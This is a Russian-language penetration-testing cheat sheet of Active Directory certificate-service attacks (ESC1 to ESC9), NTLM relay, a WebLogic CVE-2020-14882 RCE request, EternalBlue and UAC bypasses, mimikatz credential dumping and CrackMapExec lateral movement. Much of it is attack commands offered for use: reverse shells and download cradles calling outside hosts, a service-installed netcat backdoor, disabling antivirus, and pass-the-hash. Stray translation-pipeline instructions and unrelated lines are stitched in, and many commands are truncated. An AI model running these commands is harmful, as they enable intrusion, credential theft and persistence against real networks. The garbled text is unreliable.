##
.
* вести заметки для будущего использования
> Только для образовательных целей, используйте на свой страх и риск.
:```bash
bash$ nmap -p 1-65535 -Pn -A -oA output target_IP
Сканирование с перечислением версий запущенных сервисов :
* -sC : скрипты по умолчанию, эквивалентно --script=default
* -sV : получить версию сервиса```bash bash$ nmap -sC -sV -oA output target
[Angry IP Scanner](
> Перейдите: Предпочтения -> Порты -> добавьте 80,445,554,21 ,22 в выбор портов
> Перейдите: Предпочтения -> Отображение -> выберите Активные хосты
> Перейдите: Предпочтения -> Ping -> выберите Комбинированный (UDP/TCP)
Эта часть скопирована с
За подробностями обращайтесь:
(Протестировано в частной среде (Bloodhound, затем эксплуатация ESC1)
* `crackmapexec ldap domain.lab -u username -p password -M adcs`
* `ldapsearch -H ldap://dc_IP -x -LLL -D 'CN= ,OU=Users,DC=domain,DC=local' -w ' ' -b "CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=CONFIGURATION,DC=domain,DC=local" dNSHostName`
* Перечисление корпоративных центров сертификации AD с помощью certutil: `certutil.exe -config - -ping`, `certutil -dump`
#### ESC1 - Неправильно настроенные шаблоны сертификатов
> Пользователи домена могут регистрироваться в шаблоне **VulnTemplate**, который может использоваться для аутентификации клиентов и имеет установленный флаг **ENROLLEE_SUPPLIES_SUBJECT**. Это позволяет любому зарегистрироваться в этом шаблоне и указать произвольное альтернативное имя субъекта (например, администратора домена). Позволяет привязывать к сертификату дополнительные удостоверения помимо субъекта.
* [PKINIT] Аутентификация клиента, вход по смарт-карте, любая цель или отсутствие EKU (расширенного/дополнительного использования ключа)
* Используйте [Certify.exe]( для проверки наличия уязвимых шаблонов
Certify.exe find /vulnerable /currentuser
PS> Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))' -SearchBase 'CN=Configuration,DC=lab,DC=local'
certipy 'domain.local'/'user':'password'@'domaincontroller' find -bloodhound
* Используйте Certify, [Certi]( или [Certipy]( для запроса сертификата и добавления альтернативного имени (пользователя для подмены)
# запросить сертификаты для учётной записи компьютера, выполнив Certify с аргументом "/machine" из повышенной командной строки.
Certify.exe request /ca:dc.domain.local\domain-DC-CA /template:VulnTemplate /altname:domadmin
certi.py req 'contoso.local/[email protected]' contoso-DC01-CA -k -n --alt-name han --template UserSAN
certipy req 'corp.local/john:[email protected]' -ca 'corp-CA' -template 'ESC1' -alt '[email protected]'
* Используйте OpenSSL и преобразуйте сертификат, не вводите пароль
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
* Переместите cert.pfx в файловую систему целевой машины и запросите TGT для пользователя altname с помощью Rubeus
Rubeus.exe asktgt /user:domadmin /certificate:C:\Temp\cert.pfx
**ПРЕДУПРЕЖДЕНИЕ**: Эти сертификаты останутся действительными, даже если пользователь или компьютер сбросит свой пароль!
**ПРИМЕЧАНИЕ**: Ищите флаги **EDITF_ATTRIBUTESUBJECTALTNAME2**, **CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT**, **ManageCA** и ретрансляцию NTLM на конечные точки AD CS HTTP.
#### ESC2 - Неправильно настроенные шаблоны сертификатов
* Позволяет запрашивающему указывать альтернативное имя субъекта (SAN) в CSR, а также допускает любое использование EKU (2.5.29.37.0)
PS > Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))' -SearchBase 'CN=Configuration,DC=megacorp,DC=local'
* Запросите сертификат, указав `/altname` в качестве администратора домена, как в ESC1.
#### ESC3 - Ошибочно настроенные шаблоны сертификатов агента регистрации
> ESC3 — это когда шаблон сертификата указывает EKU агента запроса сертификата (агента регистрации). Этот EKU может использоваться для запроса сертификатов от имени других пользователей
* Запросите сертификат на основе уязвимого шаблона сертификата ESC3. ```ps1 $ certipy req 'corp.local/john:[email protected]' -ca 'corp-CA' -template 'ESC3' [*] Saved certificate and private key to 'john.pfx'
* Используйте сертификат агента запроса сертификата (-pfx) для запроса сертификата от имени другого пользователя ```ps1 $ certipy req 'corp.local/john:[email protected]' -ca 'corp-CA' -template 'User' -on-behalf-of 'corp\administrator' -pfx 'john.pfx'
> Включение флага `mspki-certificate-name-flag` для шаблона, который позволяет аутентификацию в домене, позволяет злоумышленникам «протолкнуть» неправильную конфигурацию в шаблон, что приводит к уязвимости ESC1
* Ищите `WriteProperty` со значением `00000000-0000-0000-0000-000000000000` с помощью modifyCertTemplate ```ps1 python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -get-acl
* Добавьте флаг `ENROLLEE_SUPPLIES_SUBJECT` (ESS) для выполнения ESC1 ```ps1 python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -add enrollee_supplies_subject -property mspki-Certificate-Name-Flag
# Add/remove ENROLLEE_SUPPLIES_SUBJECT flag from the WebServer template.
C:>StandIn.exe --adcs --filter WebServer --ess --add
* Выполните ESC1, а затем восстановите значение ```ps1 python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -value 0 -property mspki-Certificate-Name-Flag
# overwrite the configuration to make it vulnerable to ESC1
certipy template 'corp.local/[email protected]' -hashes :fc525c9683e8fe067095ba2ddc971889 -template 'ESC4' -save-old
# request a certificate based on the ESC4 template, just like ESC1.
certipy req 'corp.local/john:[email protected]' -ca 'corp-CA' -template 'ESC4' -alt '[email protected]'
certipy template 'corp.local/[email protected]' -hashes :fc525c9683e8fe067095ba2ddc971889 -template 'ESC4' -configuration ESC4.json
#### ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2
> Если этот флаг установлен на ЦС, любой запрос (в том числе, когда субъект строится из Active Directory) может содержать заданные пользователем значения в альтернативном имени субъекта.
* Используйте [Certify.exe]( для проверки состояния флага **UserSpecifiedSAN**, который ссылается на флаг `EDITF_ATTRIBUTESUBJECTALTNAME2`.
* Запросите сертификат для шаблона и добавьте альтернативное имя, даже если шаблон `User` по умолчанию не позволяет указывать альтернативные имена.
.\Certify.exe request /ca:dc.domain.local\domain-DC-CA /template:User /altname:DomAdmin
* Удалите флаг: `certutil.exe -config "CA01.domain.local\CA01" -setreg "policy\EditFlags" -EDITF_ATTRIBUTESUBJECTALTNAME2`
#### ESC7 - Уязвимый контроль доступа к центру сертификации
* Обнаружьте ЦС, которые предоставляют низкопривилегированным пользователям разрешения `ManageCA` или `Manage Certificates`.
* Измените настройки ЦС, чтобы включить расширение SAN для всех шаблонов в уязвимом ЦС (ESC6).
Certify.exe setconfig /enablesan /restart
Certify.exe request /template:User /altname:super.adm
* При необходимости одобрите запрос или отключите требование одобрения.
Certify.exe setconfig /removeapproval /restart
Альтернативная эксплуатация от **ManageCA** до **RCE** на сервере ADCS:```ps1
# Get the current CDP list. Useful to find remote writable shares:
Certify.exe writefile /ca:SERVER\ca-name /readonly
# Write an aspx shell to a local web directory:
Certify.exe writefile /ca:SERVER\ca-name /path:C:\Windows\SystemData\CES\CA-Name\shell.aspx /input:C:\Local\Path\shell.aspx
# Write the default asp shell to a local web directory:
Certify.exe writefile /ca:SERVER\ca-name /path:c:\inetpub\wwwroot\shell.asp
# Write a php shell to a remote web directory:
Certify.exe writefile /ca:SERVER\ca-name /path:\\remote.server\ \shell.php /input:C:\Local\path\shell.php
> Злоумышленник может заставить контроллер домена с помощью PetitPotam ретранслировать учетные данные NTLM на выбранный хост. Затем учетные данные NTLM контроллера домена могут быть ретранслированы на страницы веб-регистрации служб сертификации Active Directory (AD CS), и можно получить сертификат контроллера домена. Этот сертификат затем может быть использован для запроса TGT (Ticket Granting Ticket) и компрометации всего домена через Pass-The-Ticket.
* **Версия 1** : NTLM Relay + Rubeus + PetitPotam ```powershell impacket> python3 ntlmrelayx.py -t -smb2support --adcs impacket> python3 ./examples/ntlmrelayx.py -t -smb2support --adcs --template VulnTemplate
# For a member server or workstation, the template would be "Computer".
# Other templates: workstation, DomainController, Machine, KerberosAuthentication
# Coerce the authentication via MS-ESFRPC EfsRpcOpenFileRaw function with petitpotam
# You can also use any other way to coerce the authentication like PrintSpooler via MS-RPRN
git clone python3 petitpotam.py -d $DOMAIN -u $USER -p $PASSWORD $ATTACKER_IP $TARGET_IP python3 petitpotam.py -d '' -u '' -p '' $ATTACKER_IP $TARGET_IP python3 dementor.py -u -p -d python3 dementor.py 10.10.10.250 10.10.10.10 -u user1 -p Password1 -d lab.local
# Use the certificate with rubeus to request a TGT
#### ESC9 - Отсутствие расширения безопасности
* `StrongCertificateBindingEnforcement` установлено в `1` (по умолчанию) или `0`
* Сертификат содержит флаг `CT_FLAG_NO_SECURITY_EXTENSION` в значении `msPKI-Enrollment-Flag`
* Сертификат указывает EKU аутентификации `Any Client`
* `GenericWrite` над любой учётной записью A для компрометации любой учётной записи B
[email protected] имеет права **GenericWrite** над [email protected], и мы хотим скомпрометировать [email protected]. [email protected] разрешено заказывать шаблон сертификата ESC9, который указывает флаг **CT_FLAG_NO_SECURITY_EXTENSION** в значении **msPKI-Enrollment-Flag**.
* Получить хеш Jane с помощью Shadow Credentials (используя наши права GenericWrite)
certipy shadow auto -username [email protected] -p Passw0rd -account Jane
* Изменить **userPrincipalName** Jane на Administrator. ⚠️ оставьте часть `@corp.local`
certipy account update -username [email protected] -password Passw0rd -user Jane -upn Administrator
* Запросить уязвимый шаблон сертификата ESC9 от имени учётной записи Jane.
certipy req -username [email protected] -hashes ... -ca corp-DC-CA -template ESC9
# userPrincipalName в сертификате — Administrator
# выданный сертификат не содержит "object SID"
* Восстановить userPrincipalName Jane на [email protected].
certipy account update -username [email protected] -password Passw0rd -user [email protected]
* Аутентифицироваться с помощью сертификата и получить NT-хеш пользователя [email protected].
certipy auth -pfx administrator.pfx -domain corp.local
# Добавьте -domain в командную строку, так как домен не указан в сертификате.
> Шифрование не применяется для ICPR-запросов, и параметр Request Disposition установлен в Issue
1. Найдите `Enforce Encryption for Requests: Disabled` в выводе `certipy find -u [email protected] -p 'REDACTED' -dc-ip 10.10.10.10 -stdout`
2. Настройте ретранслятор с помощью ntlmrelay из Impacket и инициируйте подключение к нему.
ntlmrelayx.py -t rpc://10.10.10.10 -rpc-mode ICPR -icpr-ca-name lab-DC-CA -smb2support
# ПРЕДВАРИТЕЛЬНО СОЗДАННЫЕ УЧЁТНЫЕ ЗАПИСИ КОМПЬЮТЕРОВ
### ПОИСК ПРЕДВАРИТЕЛЬНО СОЗДАННЫХ УЧЁТНЫХ ЗАПИСЕЙ КОМПЬЮТЕРОВ
Например, учётная запись компьютера `DavesLaptop$` будет иметь пароль `daveslaptop`
* Обратите внимание: при работе с учётными записями компьютеров рекомендуется экранировать символ `$` с помощью `\`.```bash impacket-smbclient /$:@
Impacket v0.10.0 - SecureAuth Corporation
[-] SMB SessionError: STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT(The account used is a computer account. Use your global user account or local user account to access this server.)
Notice we have `STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT`
-
-
python3 rpcchangepwd.py / \$: @ -newpass P@ssw0rd 31s
Impacket v0.10.0 - SecureAuth Corporation
### Подключиться к SMB с новыми учетными данными```bash
impacket-smbclient /$:@ Impacket v0.10.0 - SecureAuth Corporation
**- Ссылка :
### Эксплуатация CVE-2021-42278 и CVE-2021-42287
Скачать скрипт эксплуатации
bash$ python3 sam_the_admin.py " / : " -dc-ip
Если AD уязвим, мы получим следующий вывод: 
> Предоставленные скриншоты относятся к личной лаборатории, использованной только для тестирования POC. Будьте осторожны при запуске эксплойта на контроллере домена в производственной среде (во время задания)
curl -sk '
Мы можем сканировать цель с помощью Nuclei или Nmap также
* Nuclei nuclei -t ~/tool/nuclei/nuclei-templates/cves/CVE-2020-5902.yaml -target https://
Если указано несколько хостов, используйте аргумент -l -> -l bigip-assets.txt
wget
nmap -p443 {IP} --script=http-vuln-cve2020-5902.nse
мы можем использовать модуль Metasploit
Модуль Nuclei```bash nuclei -t nuclei-templates/cves/CVE-2020-14882.yaml -target http://
Этот модуль иногда дает сбой, используйте -proxy-url для перенаправления трафика в Burpsuite и исследования.
## Эксплуатация Weblogic CVE-2020-14882 - RCE```bash
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/x-www-form-urlencoded
_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread();
weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();
java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A"). ();
weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req);
res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));
* Измените cmd в заголовке запроса на любую системную команду(Win/Linux)
* Payload может быть преобразован в команду curl.
## Сканирование на EternalBlue ms17-010```bash
bash$ nmap -p445 --script smb-vuln-ms17-010 /24
Если цель уязвима, вывод выглядит следующим образом
Script Output Host script results:```bash
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| A critical remote code execution vulnerability exists in Microsoft SMBv1
|
|
|_
## Эксплуатация Eternal Blue - модуль Metasploit (только Windows 7 x64)
Модуль по умолчанию, поддерживаемый Metasploit, эксплуатирует только Windows 7 x64. В противном случае цель будет аварийно завершена.```bash msf > use exploit/windows/smb/ms17_010_eternalblue msf exploit(ms17_010_eternalblue) > show targets ...targets... msf exploit(ms17_010_eternalblue) > set TARGET msf exploit(ms17_010_eternalblue) > show options ...show and set options... msf exploit(ms17_010_eternalblue) > exploit
После получения оболочки meterpreter необходимо убедиться, что наш сеанс выполняется с **привилегиями уровня SYSTEM** для корректной работы Mimikatz.```bash
Server username: WINXP-E95CE571A1\Administrator
### Чтение хэшей и паролей из памяти```bash
meterpreter > load mimikatz Loading extension mimikatz...success.
# meterpreter > msv [+] Running as SYSTEM [*] Retrieving msv credentials msv credentials
0;78980 NTLM WINXP-E95CE571A1 Administrator lm{ 00000000000000000000000000000000 }, ntlm{ d6eec67681a3be111b5605849505628f } 0;996 Negotiate NT AUTHORITY NETWORK SERVICE lm{ aad3b435b51404eeaad3b435b51404ee }, ntlm{ 31d6cfe0d16ae931b73c59d7e0c089c0 } 0;997 Negotiate NT AUTHORITY LOCAL SERVICE n.s. (Credentials KO) 0;56683 NTLM n.s. (Credentials KO) 0;999 NTLM WORKGROUP WINXP-E95CE571A1$ n.s. (Credentials KO)
# meterpreter > kerberos [+] Running as SYSTEM [*] Retrieving kerberos credentials kerberos credentials
0;997 Negotiate NT AUTHORITY LOCAL SERVICE
0;996 Negotiate NT AUTHORITY NETWORK SERVICE
0;78980 NTLM WINXP-E95CE571A1 Administrator SuperSecretPassword
meterpreter > mimikatz_command -f sekurlsa::searchPasswords [0] { Administrator ; WINXP-E95CE571A1 ; SuperSecretPassword }
meterpreter > mimikatz_command -f sekurlsa::logonpasswords
╰─>$ wine /usr/ /windows-resources/mimikatz/Win32/mimikatz.exe 0009:err:winediag:SECUR32_initNTLMSP ntlm_auth was not found or is outdated. Make sure that ntlm_auth >= 3.0.25 is in your path. Usually, you can find it in the winbind package of your distribution.
.#####. mimikatz 2.2.0 (x86) #18362 May 13 2019 01:34:39 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
## \ / ## >
'## v ##' Vincent LE TOUX ( [email protected] ) '#####' > / ***/
JuicyPotato.exe -l -p c:\windows\system32\cmd.exe -t *
msf > ps msf exploit(bypassuac) > migrate
### Обход защиты UAC в Windows с повышением привилегий```bash
msf > use exploit/windows/local/bypassuac
### Обход защиты UAC Windows с повышением привилегий (инъекция в память)```bash
msf > use exploit/windows/local/bypassuac_injection msf exploit(bypassuac_injection) > set session 1 msf exploit(bypassuac_injection) > exploit
### Windows Обход защиты UAC с повышением привилегий (Уязвимость Script Host)```bash
msf exploit(bypassuac_vbs) > set session 1
### Windows Повышение UAC Выполнение RunAs```bash
msf > use windows/local/ask msf exploit(ask) > set session 1 msf exploit(ask) > exploit
### MS16-032 Secondary Logon Handle Privilege Escalation Windows 7 32 bit```bash
msf > use windows/local/ms16_032_secondary_logon_handle_privesc
msf exploit(ms16_032_secondary_logon_handle_privesc) > set session 1
msf exploit(ms16_032_secondary_logon_handle_privesc) > exploit
### Windows NTUserMessageCall Win32k Kernel Pool Overflow (Schlamperei)```bash
msf exploit(ms13_053_schlamperei) >set session 1 msf exploit(ms13_053_schlamperei) >exploit
Доступ к машине по действительному имени пользователя/паролю``` bash$ cme smb -u username -p password
Доступ к машине с использованием NTLM hash (если вы видите PWN3D, хэш пользователя с привилегиями администратора )```
bash$ cme smb -u username -H hash
Список общих ресурсов``` bash$ cme smb -u username -p password --shares
bash$ cme smb -u username -p password --sessions
Перечислить пользователей путем перебора RID's (по умолчанию: 4000)``` bash$ cme smb -u username -p password --rid-brute
bash$ cme smb -u username -p password -x 'whoami'
Выполните указанную команду PowerShell``` bash$ cme smb -u username -p password -X 'whoami'
bash$ cme smb -u username -p password --sam
### Тестирование null/guest аутентификации и перечисление общих ресурсов```bash
crackmapexec smb targets.txt -u '' -p '' --shares
crackmapexec smb targets.txt -u 'Guest' -p '' --shares
### Перечисление пользователей через ldap```bash
crackmapexec ldap -u '' -p '' --users
Чтобы установить WhiteSur-gtk-theme, выполните:
git clone
* Для установки по умолчанию: `./install.sh`
* Чтобы узнать больше опций, используйте `./install.sh --help````bash crackmapexec ldap -u users.txt -p "" -k
crackmapexec ldap -u -p "" --asreproast asrep.txt
crackmapexec ldap -u -p \--bloodhound -ns \--collection All
-
crackmapexec smb -u -p -M gpp_password
crackmapexec ldap -u users.txt -p --continue-on-success
Translate the following Kitploit tool content.
This is chunk 129 of 447 from a longer Markdown document being translated in sequence.
" response" is not part of the message; that's the start of my response. So the input after "INPUT:" is empty. Therefore, I should return an empty string.```bash crackmapexec ldap -u users.txt -p \--no-bruteforce --continue-on-success
### STATUS_NOT_SUPPORTED: Протокол NTLM не поддерживается
В этом случае мы можем использовать опцию `-k`, которая будет аутентифицироваться по протоколу Kerberos.```bash
crackmapexec smb targets.txt -u -p -k
crackmapexec smb targets.txt -u -p -k --shares
Модуль `spider_plus` позволяет вывести и дампнуть все файлы из всех доступных для чтения ресурсов.
crackmapexec smb -u -p -k -M spider_plus
crackmapexec smb -u -p -M spider_plus -o READ_ONLY=false
crackmapexec smb -u -p -k --get-file --
#### Выполнение команд с помощью `xp_cmdshell`
- `-X` для powershell и `-x` для cmd```bash
crackmapexec mssql -u -p -X
crackmapexec mssql -u -p \--get-file
### Аутентификация локального администратора```bash
crackmapexec smb -u -p --local-auth
crackmapexec smb -u -p \--local-auth --lsa
-
У нас есть две возможности для восстановления имени учетной записи gmsa:
- Использование опции `--gmsa-convert-id`:```bash
crackmapexec ldap -u -p --gmsa-convert-id
* Расшифровать учетную запись gmsa в lsa с помощью `--gmsa-decrypt-lsa`:```bash crackmapexec ldap -u -p \--gmsa-decrypt-lsa
crackmapexec smb targets.txt -u -p --laps
crackmapexec smb targets.txt -u -p \--laps --dpapi
crackmapexec smb -u -p --ntds
*
Сначала настройте слушатель Empire:``` (Empire: listeners) > set Name test (Empire: listeners) > set Host 192.168.10.3 (Empire: listeners) > set Port 9090 (Empire: listeners) > set CertPath data/empire.pem (Empire: listeners) > run (Empire: listeners) > list
ID Name Host Type Delay/Jitter KillDate Redirect Target
1 test native 5/0.0
#~ python empire --rest --user empireadmin --pass Password123!
[*] Loading modules from: / /byt3bl33d3r/Tools/Empire/lib/modules/
* Starting Empire RESTful API on port: 1337
* RESTful API token: l5l051eqiqe70c75dis68qjheg7b19di7n8auzml
* Running on (Press CTRL+C to quit)
Имя пользователя и пароль, которые CME использует для аутентификации в RESTful API Empire, хранятся в файле cme.conf, расположенном по пути ~/.cme/cme.conf:``` [Empire] api_host=127.0.0.1 api_port=1337 username=empireadmin password=Password123!
[Metasploit] rpc_host=127.0.0.1 rpc_port=55552 password=abc123
Затем просто запустите модуль empire_exec и укажите имя слушателя:```
#~ crackmapexec 192.168.10.0/24 -u username -p password -M empire_exec -o LISTENER=test
Мы можем использовать модуль metinject для прямого внедрения meterpreter в память с помощью скрипта Invoke-Shellcode.ps1 из PowerSploit.
Сначала настройте ваш обработчик:``` msf > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_https payload => windows/meterpreter/reverse_https msf exploit(handler) > set LHOST 192.168.10.3 LHOST => 192.168.10.3 msf exploit(handler) > set exitonsession false exitonsession => false msf exploit(handler) > exploit -j [*] Exploit running as background job.
[_] Started HTTPS reverse handler on msf exploit(handler) > [_] Starting the payload handler...
Затем просто запустите модуль metinject и укажите значения LHOST и LPORT:```
#~ crackmapexec 192.168.10.0/24 -u username -p password -M metinject -o LHOST=192.168.1
# Передача shell из Empire в Meterpreter metasploit
опции слушателя metasploit``` msf > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_http payload => windows/meterpreter/reverse_http msf exploit(handler) > set lhost 192.168.1.110 lhost => 192.168.1.110 msf exploit(handler) > set lport 2286 lport => 2286 msf exploit(handler) > set ExitOnSession false ExitOnSession => false msf exploit(handler) > set SessionCommunicationTimeout 0 SessionCommunicationTimeout => 0 msf exploit(handler) > exploit -j
Настройка Empire для отправки агента в Metasploit```
use module code_execution/shellcode_inject
# Start the Empire console and RESTful API
python empire --rest --username empireadmin --password Password123
Затем захватите, настройте и запустите DeathStar:```
git clone
## Добавить пользователя как администратора```
net localgroup administrators [username] /add
NET LOCALGROUP "Remote Desktop Users" keyoke /ADD
# PTH_winexe : открыть оболочку без psexec
pth-winexe -U DOMAIN/USERNAME%cc5e9acbad1b25c9aad3b435b51404ee:996e6760cddd8815a2c24a110cf040fb //IP_Server cmd.exe
``` pth-winexe -U LAB/Administrator%cc5e9acbad1b25c9aad3b435b51404ee:996e6760cddd8815a2c24a110cf040fb //192.168.1.44 cmd.exe
msf exploit(web_delivery) > use exploit/multi/script/web_delivery
msf exploit(web_delivery) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
set LHOST set LISTENERCOMM set LOGLEVEL set LPORT
msf exploit(web_delivery) > set LHOST 127.0.0.1
msf exploit(web_delivery) > set LPORT 1233
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP handler on 127.0.0.1:1233
[*] Using URL:
msf exploit(web_delivery) > [*] Local IP:
[*] Run the following command on the target machine:
powershell.exe -nop -w hidden -c $j=new-object net.webclient;$j.proxy=[Net.WebRequest]::GetSystemWebProxy();$j.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $j.downloadstring('
Скопируйте команду PowerShell в cmd, открытую с помощью pth_winexe
(System.DirectoryServices.ActiveDirectory.Domain::GetCurrentDomain()).GetAllTrustRelationships()
(System.DirectoryServices.ActiveDirectory.Forest::GetForest((New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', 'forest-of-interest.local')))).GetAllTrustRelationships()
nltest /dclist:offense.local net group "domain controllers" /domain
# get DC for currently authenticated session
# get DC for currently authenticated session
# get domain name and DC the user authenticated to
# get all logon sessions. Includes NTLM authenticated sessions
powershell-import /path/to/BloodHound.ps1
powershell Get-BloodHoundData | Export-BloodHoundCSV
During our latest pentest, we faced shitty AV problem since we couldn't get any meterpreter session with psexec cuz of Symatec AV, So we would like to our solution for this problem: First We Need to connect with the local admin as system using pth (local hash extracted with bkhive and samdump2)
$./pth-winexe -U DOMAIN.COM/USERNAME%cc5e9acbad1b25c9aad3b435b51404ee:996e6760cddd8815a2c24a110cf040fb //10.0.42.154 cmd --system
cd "C:\Program Files\Symantec\Symantec Endpoint Protection" smc.exe -stop
Nice now we got rid of the AV, however our payload and IP was still blocked since they use an IPS so we used a reverse_https listener and psexec_psh to bypass it: mohamed@KeyStrOke:~$ msfconsole use exploit/windows/smb/psexec_psh set payload windows/meterpreter/reverse_https set StageEncoder x86/shikata_ga_nai set EnableStageEncoding true set SMBUSER USERNAME set SMBPASS cc5e9acbad1b25c9aad3b435b51404ee:996e6760cddd8815a2c24a110cf040fb set lhost IP set lport 443 exploit -j and BOOM :D Server username: NT AUTHORITY\SYSTEM Enjoy your Session
### Nmap: полное сканирование веб-уязвимостей```
cd /usr/ /nmap/scripts/ wget && tar xzf nmap_nse_vulscan-2.0.tar.gz nmap -sS -sV --script=vulscan/vulscan.nse target nmap -sS -sV --script=vulscan/vulscan.nse –script-args vulscandb=scipvuldb.csv target nmap -sS -sV --script=vulscan/vulscan.nse –script-args vulscandb=scipvuldb.csv -p80 target nmap -PN -sS -sV --script=vulscan –script-args vulscancorrelation=1 -p80 target nmap -sV --script=vuln target nmap -PN -sS -sV --script=all –script-args vulscancorrelation=1 target
dirb /usr/ /dirb/wordlists/common.txt
git clone && cd wpscan
wget && unzip httprint_linux_301.zip cd httprint_301/linux/ ./httprint -h -s signatures.txt
git clone && cd wpscan
skipfish -m 5 -LY -S /usr/ /skipfish/dictionaries/complete.wl -o ./skipfish2 -u
1)decoy- masqurade nmap -D RND:10 [target] (Generates a random number of decoys)
1)decoy- masqurade nmap -D RND:10 [target] (Generates a random number of decoys)
3)data packed – like orginal one not scan packet
4)use auxiliary/scanner/ip/ipidseq for find zombie ip in network to use them to scan — nmap -sI ip target
nmap -sS -sV -D IP1,IP2,IP3,IP4,IP5 -f –mtu=24 –data-length=1337 -T2 target ( Randomize scan form diff IP)
nmap -Pn -T2 -sV –randomize-hosts IP1,IP2
nmap –script smb-check-vulns.nse -p445 target (using NSE scripts)
nmap -sU -P0 -T Aggressive -p123 target (Aggresive Scan T1-T5)
nmap -sS -sV -T5 -F -A -O target (version detection)
nmap -sC 192.168.31.10-12 (all scan default)
nc -v -w 1 target -z 1-1000 for i in {101..102}; do nc -vv -n -w 1 192.168.56.$i 21-25 -z; done
-H resolve hostnames during the reporting phase
snmpget -v 1 -c public IP snmpwalk -v 1 -c public IP snmpbulkwalk -v2c -c public -Cn0 -Cr10 IP
sc create microsoft_update binpath="cmd /K start c:\nc.exe -d ip-of-hacker port -e cmd.exe" start= auto error= ignore
/c C:\nc.exe -e c:\windows\system32\cmd.exe -vv 23.92.17.103 7779
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"
Procdump.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz.exe "sekurlsa::minidump lsass.dmp" "log" "sekurlsa::logonpasswords"
C:\temp\procdump.exe -accepteula -ma lsass.exe lsass.dmp For 32 bits
C:\temp\procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp For 64 bits
Forward remote port to local address cmd.exe /c echo y | .\plink.exe -P 22 -l -pw "password" -R PORT_TO_FORWARD:127.0.0.1:ATTACKER_PORT 2>&1
#
meterpreter > portfwd add –l 3389 –p 3389 –r 172.16.194.141
reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0 netsh firewall set service remoteadmin enable netsh firewall set service remotedesktop enable
git clone privilege::debug sekurlsa::logonPasswords full
git clone pth-winexe -U hash //IP cmd
apt-get install freerdp-x11 xfreerdp /u:offsec /d:win2012 /pth:HASH /v:IP
meterpreter > run post/windows/gather/hashdump Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c::: msf > use exploit/windows/smb/psexec msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp msf exploit(psexec) > set SMBPass e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c msf exploit(psexec) > exploit meterpreter > shell
hashcat -m 400 -a 0 hash /root/rockyou.txt
c:> nc -l -p 31337 #nc 192.168.0.10 31337 c:> nc -v -w 30 -p 31337 -l secret.txt
c:>nc -Lp 31337 -vv -e cmd.exe nc 192.168.0.10 31337 c:>nc example.com 80 -e cmd.exe nc -lp 80
nc -lp 31337 -e /bin/bash nc 192.168.0.10 31337 nc -vv -r(random) -w(wait) 1 192.168.0.10 -z(i/o error) 1-1000
# Find SUID and SGID files owned by anyone:
# Find files that are not owned by any user:
# Find files that are not owned by any group:
python -c 'import pty;pty.spawn("/bin/bash")'
ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 8888, :DocumentRoot => Dir.pwd).start"
hydra -l admin -P /root/Desktop/passwords -S X.X.X.X rdp
### Монтирование удаленной общей папки Windows```
